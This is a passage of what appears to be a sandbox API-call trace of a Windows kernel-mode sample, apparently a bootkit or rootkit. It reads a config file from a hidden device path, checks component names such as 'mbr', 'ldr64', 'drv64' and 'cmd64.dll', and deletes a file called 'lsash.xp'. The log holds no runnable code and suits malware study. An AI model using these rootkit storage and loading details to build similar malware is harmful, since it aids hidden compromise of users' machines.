Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.440] IdePortDispatch () returned 0x103 [0123.440] KeWaitForMutexObject () returned 0x0 [0123.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.440] KeLeaveCriticalRegion () [0123.440] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.440] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.440] KeEnterCriticalRegion () [0123.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.440] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.440] KeLeaveCriticalRegion () [0123.441] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.441] KeEnterCriticalRegion () [0123.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.441] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.441] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb5b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.441] KeLeaveCriticalRegion () [0123.441] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.441] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.441] KeEnterCriticalRegion () [0123.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.441] ExFreePoolWithTag (P=0xfffffa8003beb890, Tag=0x0) [0123.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.441] KeLeaveCriticalRegion () [0123.441] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.441] ReleaseMutex (hMutex=0xf0) returned 1 [0123.441] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.441] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.441] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.441] KeEnterCriticalRegion () [0123.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.441] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.441] IdePortDispatch () returned 0x103 [0123.441] KeWaitForMutexObject () returned 0x0 [0123.441] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.441] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.441] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.441] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.441] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.441] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebcf0 [0123.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.441] KeLeaveCriticalRegion () [0123.441] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.441] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.441] KeEnterCriticalRegion () [0123.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.442] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.442] KeLeaveCriticalRegion () [0123.442] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.442] KeEnterCriticalRegion () [0123.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.442] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.442] IdePortDispatch () returned 0x103 [0123.442] KeWaitForMutexObject () returned 0x0 [0123.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.442] KeLeaveCriticalRegion () [0123.442] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.442] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.442] KeEnterCriticalRegion () [0123.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.442] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ac000 [0123.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.442] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.442] IdePortDispatch () returned 0x103 [0123.442] KeWaitForMutexObject () returned 0x0 [0123.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.443] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.443] IdePortDispatch () returned 0x103 [0123.443] KeWaitForMutexObject () returned 0x0 [0123.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.443] KeLeaveCriticalRegion () [0123.443] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.443] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.443] KeEnterCriticalRegion () [0123.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.443] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.443] KeLeaveCriticalRegion () [0123.443] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.443] KeEnterCriticalRegion () [0123.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.443] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.443] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.443] KeLeaveCriticalRegion () [0123.443] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.443] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.444] KeEnterCriticalRegion () [0123.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.444] ExFreePoolWithTag (P=0xfffffa8003bebcf0, Tag=0x0) [0123.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.444] KeLeaveCriticalRegion () [0123.444] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.444] ReleaseMutex (hMutex=0xf0) returned 1 [0123.444] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.444] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.444] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.444] KeEnterCriticalRegion () [0123.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.444] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.444] IdePortDispatch () returned 0x103 [0123.444] KeWaitForMutexObject () returned 0x0 [0123.444] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.444] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.444] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.444] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.444] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.444] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebdf0 [0123.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.444] KeLeaveCriticalRegion () [0123.444] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.444] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.444] KeEnterCriticalRegion () [0123.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.444] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.444] KeLeaveCriticalRegion () [0123.444] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.444] KeEnterCriticalRegion () [0123.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.445] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.445] IdePortDispatch () returned 0x103 [0123.446] KeWaitForMutexObject () returned 0x0 [0123.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.446] KeLeaveCriticalRegion () [0123.446] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.446] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.446] KeEnterCriticalRegion () [0123.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.446] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ad000 [0123.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.446] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.446] IdePortDispatch () returned 0x103 [0123.446] KeWaitForMutexObject () returned 0x0 [0123.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.446] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.446] IdePortDispatch () returned 0x103 [0123.447] KeWaitForMutexObject () returned 0x0 [0123.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.447] KeLeaveCriticalRegion () [0123.447] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.447] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.447] KeEnterCriticalRegion () [0123.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.447] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.447] KeLeaveCriticalRegion () [0123.447] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.447] KeEnterCriticalRegion () [0123.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.447] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.447] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.447] KeLeaveCriticalRegion () [0123.447] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.447] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.447] KeEnterCriticalRegion () [0123.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.448] ExFreePoolWithTag (P=0xfffffa8003bebdf0, Tag=0x0) [0123.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.448] KeLeaveCriticalRegion () [0123.448] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.448] ReleaseMutex (hMutex=0xf0) returned 1 [0123.448] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.448] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.448] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.448] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.448] KeEnterCriticalRegion () [0123.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.448] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.448] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.448] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.448] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.448] IdePortDispatch () returned 0x103 [0123.448] KeWaitForMutexObject () returned 0x0 [0123.448] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.448] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.448] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.448] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.448] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.448] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.448] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.448] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.448] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.448] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.448] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.448] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.448] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.448] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.448] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.448] KeLeaveCriticalRegion () [0123.448] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.448] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.448] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.449] KeEnterCriticalRegion () [0123.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.449] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.449] IdePortDispatch () returned 0x103 [0123.449] KeWaitForMutexObject () returned 0x0 [0123.449] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.449] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.449] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.449] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.449] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.449] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.449] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.449] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.449] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.449] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.449] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.449] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.449] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.449] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.449] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.449] KeLeaveCriticalRegion () [0123.449] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.449] ReleaseMutex (hMutex=0x100) returned 1 [0123.449] Sleep (dwMilliseconds=0x2bf20) [0123.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cc85990, dwHighDateTime=0x1d24fa4)) [0123.456] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.456] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.456] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.456] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.456] KeEnterCriticalRegion () [0123.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.456] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.456] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.456] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.456] IdePortDispatch () returned 0x103 [0123.456] KeWaitForMutexObject () returned 0x0 [0123.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.457] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.457] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.457] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.457] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.457] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebcf0 [0123.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.457] KeLeaveCriticalRegion () [0123.457] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.457] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.457] KeEnterCriticalRegion () [0123.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.457] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.457] ExReleaseFastMutexUnsafe (in: 